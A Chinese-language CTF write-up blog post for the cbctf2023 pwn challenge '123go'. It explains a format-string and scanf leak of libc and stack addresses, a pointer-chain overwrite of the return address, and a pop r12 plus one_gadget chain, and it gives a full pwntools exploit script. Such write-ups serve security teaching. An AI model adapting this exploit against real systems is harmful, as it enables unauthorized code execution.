cbctf2023 - 123go

RocketDev

文件属性

属性
Arch x64
RELRO Full
Canary on
NX on
PIE on
strip no
libc 2.31-0ubuntu9.14

解题思路

一次printf,两次scanf,每次16字节,颇有一点难度
我一看栈的地址,因为ASLR的存在乱跳,不方便硬编码;写2个字节吧,又没有机会leak libc; 因为栈上有跳板ptr1->ptr2->char[]str,因此可以*ptr1=ptr2x->retAddr(打moectf打的), 然后再*ptr2x=oneGadget控制返回流为ogg;但是我检查限制条件时,发现让r12 == 0不满足, 故先写pop r12;ret的地址到返回地址上,跟一个p64(0),把让r12改成0,再做ogg; 此时发现,scanf岂不是比%n好用多了?所以第一个scanf改的是跳板,第二个改的是返回地址内容

值得注意的是,scanf("%s")是不按\0截断的,并且也可以用%8$s这种方式指定参数序号

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

def payload(lo:int):
global sh
libc = ELF('./libc-2.31.so')
if lo:
sh = process('123go')
if lo & 2:
gdb.attach(sh)
else:
sh = remote('training.0rays.club', 10039)

# payload 1, leak stack & libc
sh.sendafter(b'name:', b'%11$p%13$p')

sh.recvuntil(b'llo:') # skip
libcstartmain = int(sh.recv(14).decode(), 16)
libcBase = libcstartmain - 243 - libc.symbols['__libc_start_main']
print('libc leaked')

stack = int(sh.recv(14).decode(), 16)
retAddr = stack - 0x648 + 0x558
print('stack leaked')

if libcBase & 0xfff:
print(f'Invalid libcBase ({hex(libcBase)})')
sh.close()
return False

sh.sendafter(b'text', b'%13$d')
input('type <CR> when ready') # avoid input piling
sh.sendline(str(retAddr & 0xffffffff).encode()) # int is enough
print('addr sent')

popR12 = libcBase + 0xc9e91
oneGadget = libcBase + 0xe3afe
sh.sendafter(b'text', b'%41$s')
input('type <CR> when ready')
sh.sendline(p64(popR12) + p64(0) + p64(oneGadget))
print('payload sent')

sh.interactive()
  • 标题: cbctf2023 - 123go
  • 作者: RocketDev
  • 创建于 : 2024-04-22 00:30:00
  • 更新于 : 2024-07-25 12:34:56
  • 链接: https://rocketmadev.github.io/2024/04/21/123go/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
cbctf2023 - 123go